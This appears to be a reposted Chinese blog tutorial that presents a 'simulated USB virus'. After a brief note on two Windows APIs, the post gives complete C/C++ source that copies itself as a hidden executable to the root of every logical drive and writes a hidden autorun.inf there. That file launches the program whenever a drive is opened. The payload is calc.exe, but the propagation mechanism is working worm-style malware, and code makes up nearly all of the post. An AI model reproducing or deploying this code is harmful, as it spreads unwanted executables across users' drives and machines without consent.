最简单的模拟U盘病毒(Autorun.inf)
生活随笔
收集整理的這篇文章主要介紹了
最简单的模拟U盘病毒(Autorun.inf)
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
autorun.inf是我們電腦使用中比較常見的系統(tǒng)文件 ,其作用是允許在雙擊磁盤時自動運行指定的某個文件。
下面介紹幾個API函數(shù)
1.DWORD GetLogicalDriveStrings(DWORD nBufferLength, // size of bufferLPTSTR lpBuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1個參數(shù):char *strDest目的字符串指針。 第2個參數(shù):const char *strSource源字符串指針。 第3個參數(shù):size_t count ?拷貝長度。 返回值:目的字符串指針。
下面是C/C++代碼
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>char *gstrAutoRun = "[autorun]\\r\nopen=calc.exe \\r\nshell\\open\\Command=calc.exe \\r\nshell\\explore=資源管理器(&X) \\r\nshell\\explore\\Command=calc.exe \\r\nshellexecute=calc.exe\\r\nshell\\Auto\\Command=calc.exe";void Infect(char *pstrFilePath)
{char strDriveStrings[MAXBYTE] = { 0 };DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);DWORD dwError = 0;for (size_t i = 0; i < dwDriveStrLen; i += 4){char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy(strRoot, &strDriveStrings[i], 4);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "demo.exe");if (!CopyFileA(pstrFilePath,strTargetPath,false)){dwError = GetLastError();}SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "autorun.inf");HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);DWORD dwLen = 0;WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);CloseHandle(hFile);}
}int main()
{char strSelfPath[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);Infect(strSelfPath);return 0;
}
總結(jié)
以上是生活随笔為你收集整理的最简单的模拟U盘病毒(Autorun.inf)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql优化之索引_mysql优化之索
- 下一篇: android拍照功能编程,androi